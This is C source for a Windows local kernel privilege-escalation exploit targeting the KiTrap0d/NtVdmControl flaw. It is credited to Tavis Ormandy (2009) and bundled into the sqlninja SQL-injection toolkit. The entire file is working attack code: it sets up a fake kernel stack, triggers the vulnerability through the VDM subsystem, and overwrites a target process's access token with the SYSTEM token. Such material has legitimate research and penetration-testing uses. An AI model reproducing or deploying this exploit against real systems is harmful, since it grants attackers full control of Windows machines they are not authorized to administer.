// 
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
//  Tested on:
//      $ cmd /c ver
//      Microsoft Windows [Version 5.2.3790]
//
// This file contains the exploit payload and VDM Subsystem control routines.
//

// Massive kudos to Tavis for finding the bug, crafting the original exploit, 
// and for allowing me to modify it, GPL it, and include it in sqlninja :)

/*
 * This file is part of sqlninja.
 * 
 * Sqlninja is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * Sqlninja is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with sqlninja. If not, see <http://www.gnu.org/licenses/>.
 */

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

// Process to escalate to SYSTEM
static DWORD TargetPid;

// Pointer to fake kernel stack.
static PDWORD KernelStackPointer;

#define KernelStackSize 1024

// Enforce byte alignment by default
#pragma pack(1)

// Kernel module handle
static HMODULE KernelHandle;

// Eflags macros
#define EFLAGS_CF_MASK   0x00000001 // carry flag
#define EFLAGS_PF_MASK   0x00000004 // parity flag
#define EFLAGS_AF_MASK   0x00000010 // auxiliary carry flag
#define EFLAGS_ZF_MASK   0x00000040 // zero flag
#define EFLAGS_SF_MASK   0x00000080 // sign flag
#define EFLAGS_TF_MASK   0x00000100 // trap flag
#define EFLAGS_IF_MASK   0x00000200 // interrupt flag
#define EFLAGS_DF_MASK   0x00000400 // direction flag
#define EFLAGS_OF_MASK   0x00000800 // overflow flag
#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
#define EFLAGS_NT_MASK   0x00004000 // nested task
#define EFLAGS_RF_MASK   0x00010000 // resume flag
#define EFLAGS_VM_MASK   0x00020000 // virtual 8086 mode
#define EFLAGS_AC_MASK   0x00040000 // alignment check
#define EFLAGS_VIF_MASK  0x00080000 // virtual interrupt flag
#define EFLAGS_VIP_MASK  0x00100000 // virtual interrupt pending
#define EFLAGS_ID_MASK   0x00200000 // identification flag

#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif

// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
enum { VdmStartExecution = 0, VdmInitialize = 3 };

VOID    FirstStage();
BOOL    InitializeVdmSubsystem();
PVOID   KernelGetProcByName(PSTR);
BOOL    FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);

// This routine is where I land after successfully triggering the vulnerability.
VOID FirstStage()
{
    FARPROC DbgPrint;
    FARPROC PsGetCurrentThread;
    FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
    FARPROC PsLookupProcessByProcessId;
    FARPROC PsReferencePrimaryToken;
    FARPROC ZwTerminateProcess;
    PVOID CurrentThread;
    PVOID TargetProcess, *PsInitialSystemProcess;
    DWORD StackBase, StackLimit;
    DWORD i;

    // Keep interrupts off until I've repaired my KTHREAD.
    __asm cli

    // Resolve some routines I need from the kernel export directory
    DbgPrint                        = KernelGetProcByName("DbgPrint");
    PsGetCurrentThread              = KernelGetProcByName("PsGetCurrentThread");
    PsGetCurrentThreadStackBase     = KernelGetProcByName("PsGetCurrentThreadStackBase");
    PsGetCurrentThreadStackLimit    = KernelGetProcByName("PsGetCurrentThreadStackLimit");
    PsInitialSystemProcess          = KernelGetProcByName("PsInitialSystemProcess");
    PsLookupProcessByProcessId      = KernelGetProcByName("PsLookupProcessByProcessId");
    PsReferencePrimaryToken         = KernelGetProcByName("PsReferencePrimaryToken");
    ZwTerminateProcess              = KernelGetProcByName("ZwTerminateProcess");

    CurrentThread                   = (PVOID) PsGetCurrentThread();
    StackLimit                      = (DWORD) PsGetCurrentThreadStackLimit();
    StackBase                       = (DWORD) PsGetCurrentThreadStackBase();

    DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
             CurrentThread,
             StackBase,
             StackLimit);

    // First I need to repair my CurrentThread, find all references to my fake kernel
    // stack and repair them. Note that by "repair" I mean randomly point them
    // somewhere inside the real stack.
    DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
             &KernelStackPointer[0],
             &KernelStackPointer[KernelStackSize - 1],
             CurrentThread);

    // For every stack location, try to find all references to it in my
    // CurrentThread.
    for (i = 0; i < KernelStackSize; i++) {
        // The size of this structure varies between kernels, whats the maximum
        // size likely to be?
        CONST DWORD MaxExpectedEthreadSize = 0x200;
   
        // Find and repair all references to this location
        while (FindAndReplaceMember((PDWORD) CurrentThread,
                                    (DWORD) &KernelStackPointer[i],
                                    (DWORD) StackBase - ((StackBase - StackLimit) / 2),
                                    MaxExpectedEthreadSize,
                                    FALSE))
            ;
    }

    // Find the EPROCESS structure for the process I want to escalate
    if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
        PACCESS_TOKEN SystemToken;
        PACCESS_TOKEN TargetToken;

        // What's the maximum size the EPROCESS structure is ever likely to be?
        CONST DWORD MaxExpectedEprocessSize = 0x200;

        DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
        DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);

        // Find the Token object for my target process, and the SYSTEM process.
        TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
        SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);

        DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
        DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);

        // Find the token in the target process, and replace with the system token.
        FindAndReplaceMember((PDWORD) TargetProcess,
                             (DWORD) TargetToken,
                             (DWORD) SystemToken,
                             MaxExpectedEprocessSize,
                             TRUE);
    
        // Success, try to terminate the current process.
        ZwTerminateProcess(GetCurrentProcess(), 'w00t');
    } else {
        // Maybe the user closed the window?
        DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);

        // Report this failure
        ZwTerminateProcess(GetCurrentProcess(), 'LPID');
    }

    // Oops, Something went wrong, restore interrupts and spin here.
    __asm sti

    for (;;) __asm pause
}

// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
                          DWORD CurrentValue,
                          DWORD NewValue,
                          DWORD MaxSize,
                          BOOL ObjectRefs)
{
    DWORD i, Mask;

    // Microsoft QWORD aligns object pointers, then uses the lower three
    // bits for quick reference counting (nice trick).
    Mask = ObjectRefs ? ~7 : ~0;

    // Mask out the reference count.
    CurrentValue &= Mask;

    // Scan the structure for any occurrence of CurrentValue.
    for (i = 0; i < MaxSize; i++) {
        if ((Structure[i] & Mask) == CurrentValue) {
            // And finally, replace it with NewValue.
            Structure[i] = NewValue;
            return TRUE;
        }
    }

    // Member not found.
    return FALSE;
}

// Find an exported kernel symbol by name.
PVOID KernelGetProcByName(PSTR SymbolName)
{
    PUCHAR ImageBase;
    PULONG NameTable;
    PULONG FunctionTable;
    PUSHORT OrdinalTable;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory;
    PIMAGE_DOS_HEADER DosHeader;
    PIMAGE_NT_HEADERS PeHeader;
    DWORD i;

    ImageBase       = (PUCHAR) KernelHandle;
    DosHeader       = (PIMAGE_DOS_HEADER) ImageBase;
    PeHeader        = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
    ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase 
                            + PeHeader->OptionalHeader
                            . DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                            . VirtualAddress);

    // Find required tablesa from the ExportDirectory.
    NameTable       = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
    FunctionTable   = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
    OrdinalTable    = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);

    // Scan each entry for a matching name.
    for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
        PCHAR Symbol = ImageBase + NameTable[i];

        if (strcmp(Symbol, SymbolName) == 0) {
            // Symbol found, return the appropriate entry from FunctionTable.
            return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
        }
    }

    // Symbol not found, this is likely fatal :-(
    return NULL;
}

// Exploit entrypoint.
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
{
    CONST DWORD MinimumExpectedVdmTibSize = 0x400;
    CONST DWORD MaximumExpectedVdmTibSize = 0x800;
    FARPROC NtVdmControl;
    DWORD KernelStack[KernelStackSize];
    DWORD Ki386BiosCallReturnAddress;
    CHAR Pid[32], Off[32], Krn[32];
    struct {
        ULONG   Size;
        PVOID   Padding0;
        PVOID   Padding1;
        CONTEXT Padding2;
        CONTEXT VdmContext;
        DWORD   Padding3[1024];
    } VdmTib = {0};

    // Initialise these structures with recognisable constants to ease debugging.
    FillMemory(&VdmTib, sizeof VdmTib, 'V');
    FillMemory(&KernelStack, sizeof KernelStack, 'K');

    // Parent passes parameters via environment variables.
    //  
    //  - VDM_TARGET_PID
    //    Pid of the process to transplant a SYSTEM token onto.
    //  - VDM_TARGET_OFF
    //    Offset from ntoskrnl of Ki386BiosCallReturnAddress.
    //  - VDM_TARGET_KRN
    //    Ntoskrnl base address.

    GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
    GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
    GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);

    NtVdmControl                = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
    TargetPid                   = strtoul(Pid, NULL, 0);

    // Setup the fake kernel stack, and install a minimal VDM_TIB,
    KernelStackPointer          = KernelStack;
    KernelStack[0]              = (DWORD) &KernelStack[8];      // Esp
    KernelStack[1]              = (DWORD) NtCurrentTeb();       // Teb
    KernelStack[2]              = (DWORD) NtCurrentTeb();       // Teb
    KernelStack[7]              = (DWORD) FirstStage;           // RetAddr
    KernelHandle                = (HMODULE) strtoul(Krn, NULL, 0);
    VdmTib.Size                 = MinimumExpectedVdmTibSize;
    *NtCurrentTeb()->Reserved4  = &VdmTib;

    // Initialize the VDM Subsystem.
    InitializeVdmSubsystem();

    VdmTib.Size                 = MinimumExpectedVdmTibSize;
    VdmTib.VdmContext.SegCs     = 0x0B;
    VdmTib.VdmContext.Esi       = (DWORD) &KernelStack;
    VdmTib.VdmContext.Eip       = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
    VdmTib.VdmContext.EFlags    = EFLAGS_TF_MASK;
    *NtCurrentTeb()->Reserved4  = &VdmTib;

    // Trigger the vulnerable code via NtVdmControl().
    while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
        NtVdmControl(VdmStartExecution, NULL);

    // Unable to find correct VdmTib size.
    ExitThread('VTIB');
}

// Setup a minimal execution environment to satisfy NtVdmControl().
BOOL InitializeVdmSubsystem()
{
    FARPROC NtAllocateVirtualMemory;
    FARPROC NtFreeVirtualMemory;
    FARPROC NtVdmControl;
    PBYTE BaseAddress;
    ULONG RegionSize;
    static DWORD TrapHandler[128];
    static DWORD IcaUserData[128];
    static struct {
        PVOID TrapHandler;
        PVOID IcaUserData;
    } InitData;

    NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
    NtFreeVirtualMemory     = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
    NtVdmControl            = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
    BaseAddress             = (PVOID) 0x00000001;
    RegionSize              = (ULONG) 0x00000000;
    InitData.TrapHandler    = TrapHandler;
    InitData.IcaUserData    = IcaUserData;

    // Remove anything currently mapped at NULL
    NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);

    BaseAddress             = (PVOID) 0x00000001;
    RegionSize              = (ULONG) 0x00100000;

    // Allocate the 1MB virtual 8086 address space.
    if (NtAllocateVirtualMemory(GetCurrentProcess(),
                                &BaseAddress,
                                0,
                                &RegionSize,
                                MEM_COMMIT | MEM_RESERVE,
                                PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
        ExitThread('NTAV');
        return FALSE;
    }

    // Finalise the initialisation.
    if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
        ExitThread('VDMC');
        return FALSE;
    }

    return TRUE;
}

